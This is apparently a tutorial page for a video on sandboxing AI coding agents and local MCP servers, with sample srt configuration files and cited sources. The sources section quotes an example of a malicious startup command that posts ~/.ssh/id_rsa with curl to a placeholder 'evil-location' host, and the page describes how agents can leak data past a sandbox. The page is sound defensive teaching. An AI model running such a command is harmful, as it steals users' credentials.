Securing AI agents, part 4 of 4

How to Sandbox AI Agents (and What It Won't Stop)

Your agent's commands run as you. How a file wall and a network wall contain it, how strong the wall should be, and the four gaps a sandbox leaves open.

9 min · 2026-10-30 · Watch on YouTube · Subscribe

After this video

You can wrap an agent or a local MCP server in a sandbox with a file wall and a network allowlist, pick how strong the isolation needs to be, and name what the sandbox still won't stop.

The short version

An AI agent's commands and local MCP servers run with your user's access, so a stranger's script can read your keys and send them anywhere. A sandbox puts the operating system between the agent and your machine: writes only to the project folder, no reads of credential folders, and no network except an allowlist enforced by a proxy. Pick the strength by how much you trust the code: a process sandbox for your own repo, a container or a sandbox around the whole agent for unattended runs, a VM for untrusted code. Then cover what a sandbox won't stop: allowed domains, secrets already inside, writes to your project, and what the model sees.

Your agent runs as you

A coding agent's shell commands and local MCP servers run under your user account, with your files, keys and network. The MCP spec warns that local servers run with the same privileges as the client and recommends sandboxing them.

One startup command. The MCP spec's own example of a malicious startup command installs a package and then posts your SSH private key to a remote server with curl.

Prompts vs walls

Approving every command leads to approval fatigue, and you approve the command, not what it runs inside. A sandbox has the operating system enforce limits while the command runs, so safe commands can run without asking and everything else fails.

npm test. Approving npm test approves whatever the test script does. Anthropic reports sandboxing cut permission prompts by 84% in its internal usage of Claude Code.

The file wall

Anthropic's open source sandbox runtime (srt) uses Seatbelt on macOS and bubblewrap on Linux. Writes are denied by default and reads are allowed by default, so you allow writes to the project folder and deny reads of credential folders. Never allow writes to shell startup files such as .bashrc.

~/.srt-settings.json. Deny reading ~/.ssh and allow writing only the project folder. Printing the key from inside the sandbox then fails with operation not permitted.

The network wall

A sandboxed command gets no direct route out: traffic goes through a proxy on your machine that checks each hostname against an allowlist, empty by default. You need both walls: without the network wall keys leave, without the file wall the agent can tamper its way back to the network.

Allow only the registry. With only registry.npmjs.org allowed, npm install works and a curl to any other server is refused by the proxy (a 403 for tools that use the proxy).

How strong a wall

A process sandbox is light and fast. Containers share the host kernel, so one kernel vulnerability can mean an escape; gVisor adds an application kernel in between at some compatibility and speed cost. MicroVMs such as Firecracker give each workload its own kernel and boot in under 125 ms.

Pick by trust. Your own repo: a process sandbox around commands. Unattended runs: a container, or the sandbox runtime around the whole agent. Someone else's repo: a VM.

What it won't stop

Allowed domains can still carry data out, and the proxy checks only the hostname, so domain fronting can slip past. Commands can inherit secrets from environment variables. The project stays writable, and the model still sees what the agent reads.

Mask a token. Mark a token as masked: the command sees a placeholder and the proxy swaps in the real value only on requests to allowed hosts.

Wrap an MCP server

To sandbox a local MCP server, make srt the command in .mcp.json and move the original command into its args. Then write the settings file and widen it only when a run fails for a path or domain you decide to allow.

.mcp.json. A file server that should only touch ./docs: its npx command becomes the args of srt.

The code

~/.srt-settings.json: a file wall and a network wall
{
  "filesystem": {
    "allowWrite": ["./docs"],
    "denyRead": ["~/.ssh", "~/.aws"]
  },
  "network": {
    "allowedDomains": ["<only what it needs>"]
  }
}

Settings for Anthropic's sandbox runtime (srt), as shown in the video. List only the domains the server needs.

.mcp.json: run a local MCP server inside the sandbox
{
  "mcpServers": {
    "files": {
      "command": "srt",
      "args": ["npx", "-y",
        "@modelcontextprotocol/server-filesystem",
        "./docs"]
    }
  }
}

The same server as before, started through srt instead of npx directly.

Check yourself

  1. Why isn't a permission prompt for each command a sandbox?

    People stop reading prompts (approval fatigue), and you approve the command, not what it does inside. A sandbox has the operating system enforce limits while the command runs.

  2. Why do you need both a file wall and a network wall?

    Without the network wall, an agent can read your keys and send them out. Without the file wall, it can tamper with things outside the sandbox and get the network back.

  3. You allowed github.com in your sandbox. What can still go wrong?

    Every repo on github.com is reachable, including an attacker's, so data can leak through it. The proxy only checks the hostname, so domain fronting can slip past too.

Sources

Every claim in this video was checked against these pages. Open one to see the claims it backs and the exact words they rest on.

  • modelcontextprotocol.io/…/security_best_practices 3 claims
    • Local MCP servers run with the same privileges as the MCP client; the spec tells clients to warn users about this.
      Warn that MCP servers run with the same privileges as the client
    • The MCP spec's example of a malicious local-server startup command posts ~/.ssh/id_rsa to a remote server with curl.
      npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
    • The MCP spec recommends executing local MCP server commands in a sandboxed environment with minimal default privileges.
      Execute MCP server commands in a sandboxed environment with minimal default privileges
  • anthropic.com/…/claude-code-sandboxing 3 claims
    • Constantly clicking approve leads to approval fatigue, where users stop paying close attention to what they approve.
      constantly clicking "approve" slows down development cycles and can lead to 'approval fatigue', where users might not pay close attention to what they're approving
    • In Anthropic's internal usage, sandboxing reduced permission prompts by 84%.
      in our internal usage, we've found that sandboxing safely reduces permission prompts by 84%
    • Effective sandboxing needs both filesystem and network isolation: without network isolation an agent can exfiltrate SSH keys; without filesystem isolation it can escape the sandbox and gain network access.
      without network isolation, a compromised agent could exfiltrate sensitive files like ssh keys; without filesystem isolation, a compromised agent could easily escape the sandbox and gain network access.
  • code.claude.com/…/sandboxing 13 claims
    • Because the OS applies the limits while a command runs, Claude Code can run sandboxed commands without asking for approval each time.
      Because the operating system applies the limits while a command runs, Claude Code can run sandboxed commands without asking you to approve each one.
    • Claude Code's sandbox lets commands read most of the machine by default, including ~/.ssh and ~/.aws/credentials, so credentials must be protected explicitly.
      This default still allows reading credential files, so protect credentials you don't want commands to read.
    • A sandboxed command has no direct route to the network; a proxy outside the sandbox checks the hostname of each connection against allowed and denied domains.
      The proxy checks the hostname of each connection against your allowed and denied domains.
    • Allowing writes to shell config files like .bashrc or .zshrc, or to directories in $PATH, can lead to privilege escalation.
      Allowing writes to directories containing executables in
    • Allowing broad domains like github.com can create paths for data exfiltration; the proxy decides on the hostname without inspecting TLS, so domain fronting may bypass it.
      Allowing broad domains such as github.com can create paths for data exfiltration.
    • Sandboxed commands inherit environment variables from Claude Code, including any secrets in that environment, unless you protect them.
      Inherited from Claude Code, including any secrets in its environment
    • Claude Code's sandbox credentials setting can deny reads of files like ~/.ssh and remove env vars like GITHUB_TOKEN from sandboxed commands.
      blocks reads of the AWS credentials file and the SSH directory and removes
    • With mask mode, the sandboxed command sees a placeholder and the proxy substitutes the real credential only on requests to allowed hosts.
      Claude Code shows sandboxed commands a per-session placeholder called the sentinel, and the sandbox proxy substitutes the real value on outbound requests to hosts you allow.
    • Sandboxing reduces risk but is not a complete isolation boundary.
      Sandboxing reduces risk but is not a complete isolation boundary.
    • In Claude Code, the sandbox is off by default and is turned on with /sandbox or sandbox.enabled.
      The sandbox is off by default.
    • Claude Code's sandbox is built on Anthropic's open source sandbox-runtime package.
      Claude Code builds the sandbox on the open source
    • A proxy-aware tool calling a host that isn't allowed gets a network prompt or a 403 response from the sandbox proxy.
      or the tool receives a 403 response from the proxy.
    • For stronger network guarantees, use a custom proxy that terminates TLS and inspects traffic.
      configure a custom proxy that terminates TLS and inspects traffic
  • raw.githubusercontent.com/…/README.md 8 claims
    • Anthropic's sandbox runtime (srt) enforces filesystem and network restrictions on arbitrary processes at the OS level, without a container.
      A lightweight sandboxing tool for enforcing filesystem and network restrictions on arbitrary processes at the OS level, without requiring a container.
    • srt uses sandbox-exec (Seatbelt) on macOS and bubblewrap on Linux, plus proxy-based network filtering, and can sandbox agents and local MCP servers.
      and proxy-based network filtering. It can be used to sandbox the behaviour of agents, local MCP servers, bash commands and arbitrary processes.
    • In srt, write access is denied everywhere by default; you explicitly allow paths such as the project folder and /tmp.
      By default, write access is denied everywhere. You must explicitly allow paths
    • In srt, read access is allowed everywhere by default; you deny regions such as ~/.ssh.
      By default, read access is allowed everywhere.
    • In srt, all network access is denied by default; you explicitly allow domains, and traffic goes through proxies on the host that enforce the allowlist.
      By default, all network access is denied. You must explicitly allow domains.
    • Running a process with srt is done by prefixing the command with srt; an MCP server is wrapped by making srt the command in .mcp.json and moving the original command into args.
      "command": "srt"
    • srt reads its settings from ~/.srt-settings.json by default.
      By default, the sandbox runtime looks for configuration at `~/.srt-settings.json`.
    • srt itself can mask credentials: a masked env var or file holds a placeholder inside the sandbox and the proxy substitutes the real value on egress to allowed hosts (needs TLS termination).
      puts a sentinel in its place inside the sandbox and has the proxy substitute the real value back on egress
  • raw.githubusercontent.com/…/README.md 2 claims
    • Containers share one kernel with the host, so a single kernel vulnerability can allow container escape; gVisor says containers alone are not a sandbox for untrusted code.
      While using a single, shared kernel allows for efficiency and performance gains, it also means that container escape is possible with a single vulnerability.
    • gVisor is an application kernel for containers that limits the host kernel surface the application can reach.
      gVisor is an application kernel for containers. It limits the host kernel surface accessible to the application
  • firecracker-microvm.github.io 1 claim
    • Firecracker creates lightweight microVMs using KVM, with VM-level isolation and container-like speed: boots in under 125 ms with under 5 MiB overhead per VM.
      Boot in <125ms
  • code.claude.com/…/sandbox-environments 8 claims
    • A dedicated virtual machine gives the strongest separation, with its own kernel; Anthropic recommends it for untrusted code.
      A dedicated virtual machine provides the strongest separation, with its own kernel
    • Claude Code docs recommend a dedicated virtual machine when evaluating untrusted code.
      Use this approach when you are evaluating untrusted code
    • Any sandbox that allows network egress can still leak data the agent can read, and any approach that mounts the project writable can still modify that code.
      Any approach that allows network egress can still leak data the agent can read, and any approach that mounts your project directory writable can still modify that code.
    • Sandboxing does not change what is sent to the model: prompts and files the agent reads still go to the model provider.
      Isolation also does not change what is sent to the model.
    • Claude Code's Bash sandbox covers shell commands only; MCP servers and hooks run unconstrained on the host unless the whole process runs in srt, a container or a VM.
      are separate processes that run unconstrained on the host.
    • srt blocks writes to .git/hooks, .mcp.json and shell startup files at the project root by default.
      At the project root, the runtime denies
    • Without a sandbox around them, an agent's tools, MCP servers and hooks run directly on your host.
      Built-in file tools, MCP servers, and hooks still run directly on your host.
    • For unattended agent runs, Claude Code docs recommend a dev container, any container or VM, or the sandbox runtime.
      or the sandbox runtime
  • simonwillison.net/…/the-lethal-trifecta 1 claim
    • Lethal trifecta: private data + untrusted content + a way to communicate externally lets an attacker steal data; the only safe way is to avoid the combination.
      The only way to stay safe there is to avoid that lethal trifecta combination entirely.
  • gvisor.dev/docs 1 claim
    • gVisor's design costs some application compatibility and adds per-system-call overhead.
      this comes at the price of reduced application compatibility and higher per-system call overhead.

Spotted a mistake? Say so in the video's comments. Fixes are listed on corrections.